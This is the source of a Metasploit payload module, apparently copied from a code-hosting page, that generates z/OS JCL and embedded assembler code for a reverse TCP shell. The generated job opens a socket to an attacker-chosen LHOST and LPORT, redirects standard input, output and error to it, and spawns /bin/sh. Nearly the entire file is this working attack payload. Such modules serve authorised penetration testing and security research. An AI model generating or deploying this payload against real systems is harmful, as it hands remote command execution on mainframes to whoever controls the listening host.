Path: blob/master/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
36810 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3# This payload has no ebcdic<->ascii translator built in.4# Therefore it must use a shell which does, like mainframe_shell5#6# this payload will spawn a reverse shell from z/os, when submitted7# on the system as JCL to JES28##910module MetasploitModule11CachedSize = 89931213include Msf::Payload::Single14include Msf::Payload::Mainframe15include Msf::Sessions::CommandShellOptions1617def initialize(info = {})18super(19merge_info(20info,21'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',22'Description' => %q{23Provide JCL which creates a reverse shell24This implementation does not include ebcdic character translation,25so a client with translation capabilities is required. MSF handles26this automatically.27},28'Author' => 'Bigendian Smalls',29'License' => MSF_LICENSE,30'Platform' => 'mainframe',31'Arch' => ARCH_CMD,32'Handler' => Msf::Handler::ReverseTcp,33'Session' => Msf::Sessions::MainframeShell,34'PayloadType' => 'cmd',35'RequiredCmd' => 'jcl',36'Payload' => {37'Offsets' => {},38'Payload' => ''39}40)41)42register_options(43[44# need these defaulted so we can manipulate them in command_string45Opt::LHOST('0.0.0.0'),46Opt::LPORT(4444),47OptString.new('ACTNUM', [true, 'Accounting info for JCL JOB card', 'MSFUSER-ACCTING-INFO']),48OptString.new('PGMNAME', [true, 'Programmer name for JCL JOB card', 'programmer name']),49OptString.new('JCLASS', [true, 'Job Class for JCL JOB card', 'A']),50OptString.new('NOTIFY', [false, 'Notify User for JCL JOB card', '']),51OptString.new('MSGCLASS', [true, 'Message Class for JCL JOB card', 'Z']),52OptString.new('MSGLEVEL', [true, 'Message Level for JCL JOB card', '(0,0)'])53], self.class54)55register_advanced_options(56[57OptBool.new('NTFYUSR', [true, 'Include NOTIFY Parm?', false]),58OptString.new('JOBNAME', [true, 'Job name for JCL JOB card', 'DUMMY'])59],60self.class61)62end6364##65# Construct Payload66##67def generate(_opts = {})68super + command_string69end7071##72# Setup replacement vars and populate payload73##74def command_string75if (datastore['JOBNAME'] == 'DUMMY') && !datastore['FTPUSER'].nil?76datastore['JOBNAME'] = (datastore['FTPUSER'] + '1').strip.upcase77end78lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])79lhost = lhost.unpack('H*')[0]80lport = datastore['LPORT']81lport = lport.to_s.to_i.to_s(16).rjust(4, '0')8283jcl_jobcard +84"//**************************************/\n" \85"//* SPAWN REVERSE SHELL FOR MSF MODULE*/\n" \86"//**************************************/\n" \87"//*\n" \88"//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \89"//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \90"//C.SYSIN DD *,DLM=ZZ\n" \91" TITLE 'Spanws Reverse Shell'\n" \92"SPAWNREV CSECT\n" \93"SPAWNREV AMODE 31\n" \94"SPAWNREV RMODE ANY\n" \95"***********************************************************************\n" \96"* @SETUP registers and save areas *\n" \97"***********************************************************************\n" \98" USING *,15\n" \99"@SETUP0 B @SETUP1\n" \100" DROP 15\n" \101" DS 0H # half word boundary\n" \102"@SETUP1 STM 14,12,12(13) # save our registers\n" \103" LR 2,13 # callers sa\n" \104" LR 8,15 # pgm base in R8\n" \105" USING @SETUP0,8 # R8 for base addressability\n" \106"*************************************\n" \107"* set up data area / addressability *\n" \108"*************************************\n" \109" L 0,@DYNSIZE # len of variable area\n" \110" GETMAIN RU,LV=(0) # get data stg, len R0\n" \111" LR 13,1 # data address\n" \112" USING @DATA,13 # addressability for data area\n" \113" ST 2,@BACK # store callers sa address\n" \114" ST 13,8(,2) # store our data addr\n" \115" DS 0H # halfword boundaries\n" \116"\n" \117"***********************************************************************\n" \118"* BPX1SOC set up socket - inline *\n" \119"***********************************************************************\n" \120" CALL BPX1SOC, X\n" \121" (DOM,TYPE,PROTO,DIM,CLIFD, X\n" \122" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \123"\n" \124"*******************************\n" \125"* chk return code, 0 or exit *\n" \126"*******************************\n" \127" LHI 15,2\n" \128" L 7,RTN_VAL\n" \129" CIB 7,0,7,EXITP # R7 not 0? Time to exit\n" \130"\n" \131"***********************************************************************\n" \132"* BPX1CON (connect) connect to remote host - inline *\n" \133"***********************************************************************\n" \134" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \135" MVI SOCK_FAMILY,AF_INET # family inet\n" \136" MVI SOCK_LEN,SOCK#LEN # len of socket\n" \137" MVC SOCK_SIN_PORT,CONNSOCK # port to connect to\n" \138" MVC SOCK_SIN_ADDR,CONNADDR # address to connect to\n" \139" CALL BPX1CON, X\n" \140" (CLIFD,SOCKLEN,SOCKADDR, X\n" \141" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \142"*******************************\n" \143"* chk return code, 0 or exit *\n" \144"*******************************\n" \145" LHI 15,3\n" \146" L 7,RTN_VAL\n" \147" CIB 7,0,7,EXITP # R7 not 0? Time to exit\n" \148"\n" \149"*************************************************\n" \150"* order of things to prep child pid *\n" \151"* 0) Dupe all 3 file desc of CLIFD *\n" \152"* 1) dupe parent read fd to std input *\n" \153"*************************************************\n" \154"*******************\n" \155"***** STDIN *****\n" \156"*******************\n" \157" CALL BPX1FCT, X\n" \158" (CLIFD, X\n" \159" =A(F_DUPFD2), X\n" \160" =A(F_STDI), X\n" \161" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \162"****************************************************\n" \163"* chk return code here anything but -1 is ok *\n" \164"****************************************************\n" \165" LHI 15,4 # exit code for this func\n" \166" L 7,RTN_VAL # set r7 to rtn val\n" \167" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \168"\n" \169"*******************\n" \170"***** STDOUT *****\n" \171"*******************\n" \172" CALL BPX1FCT, X\n" \173" (CLIFD, X\n" \174" =A(F_DUPFD2), X\n" \175" =A(F_STDO), X\n" \176" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \177"****************************************************\n" \178"* chk return code here anything but -1 is ok *\n" \179"****************************************************\n" \180" LHI 15,5 # exit code for this func\n" \181" L 7,RTN_VAL # set r7 to rtn val\n" \182" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \183"\n" \184"*******************\n" \185"***** STDERR *****\n" \186"*******************\n" \187" CALL BPX1FCT, X\n" \188" (CLIFD, X\n" \189" =A(F_DUPFD2), X\n" \190" =A(F_STDE), X\n" \191" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \192"****************************************************\n" \193"* chk return code here anything but -1 is ok *\n" \194"****************************************************\n" \195" LHI 15,6 # exit code for this func\n" \196" L 7,RTN_VAL # set r7 to rtn val\n" \197" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \198"\n" \199"***********************************************************************\n" \200"* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \201"***********************************************************************\n" \202" XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \203" XI INHEFLAGS0,INHESETPGROUP\n" \204" SPACE ,\n" \205" MVC INHEEYE,=C'INHE'\n" \206" LH 0,TLEN\n" \207" STH 0,INHELENGTH\n" \208" LH 0,TVER\n" \209" STH 0,INHEVERSION\n" \210" CALL BPX1SPN, X\n" \211" (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \212" EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \213" RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \214" LHI 15,7 # exit code for this func\n" \215" L 7,RTN_VAL # set r7 to rtn val\n" \216" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \217"\n" \218"****************************************************\n" \219"* cleanup & exit preload R15 with exit code *\n" \220"****************************************************\n" \221" XR 15,15 # 4 FOR rc\n" \222"EXITP L 0,@DYNSIZE\n" \223" LR 1,13\n" \224" L 13,@BACK\n" \225" DROP 13\n" \226" FREEMAIN RU,LV=(0),A=(1) # Free storage\n" \227" L 14,12(,13) # load R14\n" \228" LM 0,12,20(13) # load 0-12\n" \229" BSM 0,14 # branch to caller\n" \230"\n" \231"****************************************************\n" \232"* Constants and Variables *\n" \233"****************************************************\n" \234" DS 0F # constants full word boundary\n" \235"F_STDI EQU 0\n" \236"F_STDO EQU 1\n" \237"F_STDE EQU 2\n" \238"*************************\n" \239"* Socket conn variables * # functions used by pgm\n" \240"*************************\n" \241"CONNSOCK DC XL2'#{lport}' # LPORT\n" \242"CONNADDR DC XL4'#{lhost}' # LHOST\n" \243"DOM DC A(AF_INET) # AF_INET = 2\n" \244"TYPE DC A(SOCK#_STREAM) # stream = 1\n" \245"PROTO DC A(IPPROTO_IP) # ip = 0\n" \246"DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \247"SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \248"************************\n" \249"* BPX1SPN vars *********\n" \250"************************\n" \251"EXCMD DC CL7'/bin/sh' # command to exec\n" \252"EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \253"EXARGC DC F'1' # num of arguments\n" \254"EXARG1 DC CL2'sh' # arg 1 to exec\n" \255"EXARG1L DC A(L'EXARG1) # len of arg1\n" \256"EXARGL DC A(EXARG1) # addr of argument list\n" \257"EXARGLL DC A(EXARG1L) # addr of arg len list\n" \258"EXENVC DC F'0' # env var count\n" \259"EXENVL DC F'0' # env var arg list addr\n" \260"EXENVLL DC F'0' # env var arg len addr\n" \261"FDCNT DC F'0' # field count s/b 0\n" \262"FDLST DC F'0' # field list addr s/b 0\n" \263"TVER DC AL2(INHE#VER)\n" \264"TLEN DC AL2(INHE#LENGTH)\n" \265" SPACE ,\n" \266"@DYNSIZE DC A(@ENDYN-@DATA)\n" \267"***************************\n" \268"***** end of constants ****\n" \269"***************************\n" \270"@DATA DSECT ,\n" \271" DS 0D\n" \272"PLIST DS 16A\n" \273"RTN_VAL DS F # return value\n" \274"RTN_COD DS F # return code\n" \275"RSN_COD DS F # reason code\n" \276"CLIFD DS F # client fd\n" \277"@BACK DS A\n" \278"*\n" \279" BPXYSOCK LIST=NO,DSECT=NO\n" \280" BPXYFCTL LIST=NO,DSECT=NO\n" \281" BPXYINHE LIST=NO,DSECT=NO\n" \282"@ENDYN EQU *\n" \283"@DATA#LEN EQU *-@DATA\n" \284" BPXYCONS LIST=NO\n" \285" END SPAWNREV\n" \286"ZZ\n" \287"//*\n"288end289end290291292